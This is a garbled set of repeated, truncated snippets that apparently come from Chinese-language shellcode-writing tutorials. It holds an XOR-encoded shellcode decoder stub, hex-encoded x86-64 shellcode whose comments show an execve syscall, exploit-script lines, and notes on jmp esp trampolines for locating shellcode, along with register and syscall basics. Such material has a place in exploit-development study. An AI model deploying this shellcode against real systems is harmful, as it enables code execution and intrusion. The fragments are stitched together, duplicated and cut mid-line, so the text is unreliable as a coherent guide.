global _start _start: jmp short getdata ; 跳转到getdata begin: pop ebx ; 弹出shellcode的地址 xor ecx,ecx ; 清零循环计数器ecx sub cx, -0x15F ; 设置cx为shellcode长度 decode: xor byte [ebx], 0x99 ; 异或key来解码 inc ebx ; 进入下一字节 l
rsp#push rax shellcode1 += "\xeb\x18"#使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行#jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"#第二部分shellcode#push rdi#mov rsi, rsp#mov al, 0x3b#syscall print io.recvuntil("Location:") #读取到...
mov rsi, rsp mov rdx, 5 syscall jmp exit exit: mov rax, EXIT mov rdi, 0 syscall 0x3 文件读 1 sys_open 文件读写都需要涉及打开文件操作,是通过内核提供的系统调用sys_open来实现的。具体参数如下: asmlinkagelongsys_open(constchar__user *filename,intflags,intmode) 这里需要注意在文件操作之后,需...
RSI和RDI都用于流操作和字符串操作。 栈指针寄存器(R***SP)用作指向栈顶的指针—RSP持有64位,ESP持有32位,SP持有16位,SPL持有8位: 基指针寄存器(RBP)用作栈的基址指针—RBP持有64位,EBP持有32位,BP持有16位,BPL持有8位: 寄存器 R8、R9、R10、R11、R12、R13、R14 和 R15 没有特定的操作,但它们的架构与...
rsp #push rax shellcode1 += "\xeb\x18" #使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行 #jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #第二部分shellcode #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location...
global _start_start:movrax, WRITEmovrdi,1movrsi,0x00000a6f6c6c6548pushrsimovrsi, rspmovrdx,5syscalljmpexitexit:movrax, EXITmovrdi,0syscall 0x3 文件读 1 sys_open 文件读写都需要涉及打开文件操作,是通过内核提供的系统调用sys_open来实现的。具体参数如下: ...
push <return address> jmp <function address> 也就是说,函数执行之后的返回地址是被保存在栈里之后...
rsp #push rax shellcode1 += "\xeb\x18" #使用一个跳转跳过被push rid污染的数据,接上第二部分shellcode继续执行 #jmp short $+18h shellcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05" #第二部分shellcode #push rdi #mov rsi, rsp #mov al, 0x3b #syscall print io.recvuntil("Location...
这种定位shellcode的方法使用进程空间里的一条 jmp esp指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。 当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式。 二 开发通用shellcode ...
mov rsi, rsp mov rdx, 5 syscall jmp exit exit: mov rax, EXIT mov rdi, 0 syscall 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 0x3 文件读 1 sys_open 文件读写都需要涉及打开文件操作,是通过内核提供的系统调用sys_open来实现的。具体参数如下...